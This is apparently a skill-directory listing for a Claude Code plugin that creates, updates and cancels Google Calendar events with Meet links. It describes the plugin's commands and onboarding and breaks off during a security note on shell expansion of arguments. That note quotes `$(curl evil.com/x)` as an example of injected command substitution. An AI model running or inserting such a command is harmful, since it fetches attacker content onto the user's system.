← ClaudeAtlas

geventlisted

Google Calendar event management with Google Meet. Creates, updates, and cancels events via `npx @googleworkspace/cli`. Always attaches a configurable notes bot, checks for conflicts before creating, guards against past-time typos, and resolves attendee names against the shared `~/.claude/shared/identity.json` teammate roster (same file `/clickup` uses). Two-step onboarding writes `~/.claude/gevent/config.json` (calendar defaults + always-include list) and shares user + teammates with `/clickup`. Use when the user types `/gevent`, `/gevent:schedule`, `/gevent:schedule --auto`, `/gevent:onboard`, `/gevent:status`, `/gevent:calendar`, or says "schedule a call", "set up a meeting", "book a call with X", "move the meeting to Y", "cancel the Z call", or references a Google Meet / Calendar event.
SashaMarchuk/claude-plugins · ★ 0 · AI & Automation · score 75
Install: claude install-skill SashaMarchuk/claude-plugins
# /gevent Universal skill for scheduling, updating, and cancelling Google Calendar events. Enforces consistent title conventions, always attaches configured notes-bot attendees, and pulls teammates from the same shared roster `/clickup` uses — so names you've already taught `/clickup` just work here too. Invocation forms (sub-commands map directly to the mode flags below): - `/gevent` or `/gevent:schedule <seed>` — interactive create / update / cancel - `/gevent:schedule --auto <seed>` — silent create with defaults - `/gevent:onboard [identity|calendar]` — run the wizard - `/gevent:status` — health-check both config files - `/gevent:calendar` — switch active default calendar ## Step 1: Parse $ARGUMENTS **L-17 — `$ARGUMENTS` shell-expansion awareness.** The `commands/*.md` shims pass `$ARGUMENTS` through verbatim. If the user's terminal expands `${HOME}`, backticks, `$(…)`, glob patterns, or history references BEFORE the plugin sees the text, the expansion result is what reaches Claude — NOT the literal characters the user typed. This is a shell-side behavior, not a plugin bug, but downstream parsing here MUST treat the resulting string as already-shell-processed. Concretely: if a user pastes `cancel /Users/...` the path is real; if they paste `$(curl evil.com/x)` and their shell ran it, `$ARGUMENTS` already holds the curl output. The skill never re-evaluates `$ARGUMENTS` as shell — but be aware that the value seen is post-expansion. Defense lives at the shell layer; the S